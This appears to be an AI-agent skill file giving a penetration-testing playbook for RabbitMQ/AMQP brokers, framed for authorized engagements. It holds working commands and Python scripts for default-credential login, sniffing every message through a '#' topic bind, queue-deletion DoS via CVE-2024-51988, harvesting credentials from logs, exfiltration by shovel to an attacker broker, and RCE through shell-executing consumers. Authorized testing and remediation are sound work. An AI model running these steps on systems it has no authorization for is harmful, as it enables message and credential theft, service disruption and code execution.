name: pentesting-rabbitmq description: Testing RabbitMQ / AMQP message brokers (default 5672/TCP plaintext, 5671/TCP TLS; management 15672) for default guest credentials, anonymous/SASL login, message sniffing via topic/stream/event-exchange binds, queue-deletion DoS (CVE-2024-51988), Authorization-header log leakage, and message-to-RCE sinks during authorized engagements. domain: cybersecurity subdomain: network-services-pentesting tags:
- penetration-testing
- network-services
- rabbitmq version: '1.0' author: xalgorix license: Apache-2.0
Pentesting RabbitMQ / AMQP (port 5672)
When to Use
- Default ports
5672/tcp(AMQP 0-9-1 and 1.0, plaintext) and5671/tcp(TLS). Management HTTP API/UI on15672; related ports:1883/8883MQTT,4369epmd,25672Erlang dist,61613/61614STOMP. - When
nmapshows5672/tcp open amqp RabbitMQ 3.1.5 (0-9). - A broker holds in-transit messages — often containing credentials, tokens, PII, and job/command payloads — making read or publish access very impactful.
Quick Enumeration
# Nmap amqp-info (capabilities, version, SASL mechanisms)
nmap -sV -Pn -n -T4 -p 5672 --script amqp-info <IP>
# | amqp-info:
# | mechanisms: PLAIN AMQPLAIN
# | version: 3.1.5 product: RabbitMQ platform: Erlang/OTP
# Probe AMQPS (cert chain, TLS versions, mutual TLS)
openssl s_client -alpn amqp -connect <IP>:5671 -tls1_3 -msg </dev/null
# Inspect server properties / SASL mechanisms with default guest:guest
python3 - <<'PY'
import amqp
conn = amqp.connection.Connection(host="<IP>", port=5672, virtual_host="/") # default guest:guest
conn.connect()
print("SASL mechanisms:", conn.mechanisms)
for k, v in conn.server_properties.items():
print(k, v)
PY
# Listeners from a low-priv host shell
rabbitmq-diagnostics -q listeners
Critical: Checks Most Often Missed
- Default credentials
guest:guest— RabbitMQ restricts guest to localhost vialoopback_users, but many Docker/IoT images disable that check. Always test remote login rather than assuming it's blocked. - ANONYMOUS / weak SASL — if the broker advertises ANONYMOUS, connect with empty user/pass (maps to
anonymous_login_user, defaults toguest). PLAIN/AMQPLAIN are on by default. - Message sniffing via broad binds — topic authorization is often weaker than defenders expect; binding
#oraudit.#/payments.*toamq.topicsiphons live messages. Bindamq.rabbitmq.event(user.#,connection.#) for a live recon feed of logins/queues. - Stream queue historical replay —
x-queue-type=streamqueues are append-only; a read account can replay old messages (x-stream-offset:first) recovering tokens/PII long after consumption. - Queue-deletion DoS (CVE-2024-51988) — RabbitMQ <= 3.12.10 skips the
configurepermission check on HTTP-API queue deletes; aread/write-only user can delete arbitrary queues. - Authorization-header log leak — until 4.0.8/4.1.0 the management API logs the base64
Authorizationheader on a non-existent resource; recover creds from/var/log/rabbitmq/. - Message-to-RCE sink — if a downstream worker pipes message content into
bash -c "$MSG"/os.system/shell=True, publish access = RCE.
How to CONFIRM
- Default/anon login: the
amqp.Connection(...).connect()succeeds remotely (noACCESS_REFUSED). - Sniffing: a temporary queue bound to
amq.topic/amq.rabbitmq.eventreceives message bodies/headers. - CVE-2024-51988:
curl -X DELETE .../api/queues/%2F/<queue>succeeds with a low-priv user (queue disappears). - RCE: publish a benign probe (
id,whoami) and observe its output in a results queue/log before upgrading.
Workflow
Step 1: Enumerate
Run amqp-info, probe AMQPS, and read server_properties/SASL mechanisms. Note version (for CVE mapping) and whether the management plugin (15672) is enabled.
Step 2: Authenticate / unauth access
Test guest:guest remotely, try ANONYMOUS with empty creds, and password-spray known users (AMQP/STOMP brute force). Use the passive queue.declare/exchange.declare permission oracle (NOT_FOUND vs ACCESS_REFUSED) to enumerate object names without creating artifacts.
Step 3: Exploit / Extract
Sniff messages without deleting them:
import pika
creds = pika.PlainCredentials('user','pass')
conn = pika.BlockingConnection(pika.ConnectionParameters('<IP>',5672,'/',creds))
ch = conn.channel()
ch.queue_declare(queue='loot', exclusive=True, auto_delete=True)
ch.queue_bind(queue='loot', exchange='amq.topic', routing_key='#') # or audit.# / payments.*
for method, props, body in ch.consume('loot', inactivity_timeout=5):
if body: print(method.routing_key, body)
Replay stream history: bind/consume with arguments={'x-stream-offset':'first'}. Monitor events: bind amq.rabbitmq.event with key user.# and inspect props.headers (body is blank).
DoS via CVE-2024-51988:
rabbitmqadmin -H target -P 15672 -u user -p pass show overview | grep -i version # confirm vuln
curl -k -u user:pass -X DELETE https://target:15672/api/queues/%2F/payments-processing
Trigger and harvest the Authorization-header log leak:
curl -k -u pentester:SuperSecret https://target:15672/api/queues/%2f/ghost
sudo grep -R "Authorization:" /var/log/rabbitmq | cut -d' ' -f3 | base64 -d
Step 4: Post-access / pivot
Exfiltrate messages by declaring a shovel to an attacker broker (rabbitmqadmin shovels declare_amqp091 ...). Reuse decoded/sniffed creds over AMQP/STOMP/MQTT or the OS. If a consumer executes message bodies, publish a payload (incl. via the management API) for RCE:
curl -u user:pass -H 'content-type: application/json' \
-X POST http://TARGET:15672/api/exchanges/%2F/amq.default/publish \
-d '{"properties":{},"routing_key":"update","payload":"id","payload_encoding":"string"}'
Key Concepts
| Concept | Description |
|---|---|
| Exchange / queue / binding | Messages route from exchanges to queues per binding/routing keys |
| vhost | Virtual host namespace; permissions are per-vhost (%2F = default /) |
| Topic exchange | Wildcard routing (#, *); auth often permissive on fresh installs |
| Stream queue | Append-only log queue; supports historical offset replay |
| Event exchange | amq.rabbitmq.event republishes internal events (logins, queues) |
| SASL mechanisms | PLAIN/AMQPLAIN default; ANONYMOUS maps to guest; EXTERNAL = x509 |
Tools & Systems
| Tool | Purpose |
|---|---|
| nmap amqp-info NSE | Version, capabilities, SASL mechanisms |
| openssl s_client | AMQPS (5671) cert/TLS/mutual-TLS inspection |
| python amqp / pika | Connect, dump server props, sniff/replay/publish messages |
| rabbitmqadmin / -ng (v2) | Management API CLI: channels, shovels, queues, health checks |
| curl | Management HTTP API (delete queues, publish, trigger log leak) |
| Hydra / brute tooling | AMQP/STOMP credential spraying |
Common Scenarios
Scenario 1: Default guest on Docker image
A containerized RabbitMQ left loopback_users disabled; guest:guest logs in remotely and a # topic bind sniffs payment messages with PII.
Scenario 2: Stream replay of secrets
An orders-stream queue retains processed jobs; x-stream-offset:first replays historical messages containing bearer tokens.
Scenario 3: Message-to-RCE
A worker consumer runs bash -c "$MESSAGE"; publishing id via the management API to the update routing key returns command output, confirming RCE.
Output Format
## RabbitMQ / AMQP Finding
**Service**: AMQP (5672/tcp | 5671/tcp TLS), management 15672
**Severity**: <Critical|High|Medium>
**Target**: <IP>:5672 Version: RabbitMQ <x.y.z>
### Evidence
- Default/anon login: guest:guest (or ANONYMOUS) accepted remotely
- Message sniffing: bound amq.topic '#' captured <sensitive payloads>
- Stream replay / event-exchange recon successful
- CVE-2024-51988 queue delete OR Authorization-header log leak confirmed
- RCE sink: published 'id' -> output observed
### Reproduction
python pika consume bound to amq.topic '#'
curl -X DELETE https://<IP>:15672/api/queues/%2F/<queue> -u low:priv
### Recommendation
1. Remove/disable guest and ANONYMOUS; enforce per-vhost least-privilege ACLs
2. Define explicit topic permissions; restrict event-exchange and stream reads
3. Patch RabbitMQ (>= fix for CVE-2024-51988; 4.0.8/4.1.0 for log leak)
4. Require TLS (5671), do not expose 15672/25672/4369 to untrusted networks
5. Never feed message content into shells; validate/whitelist consumer input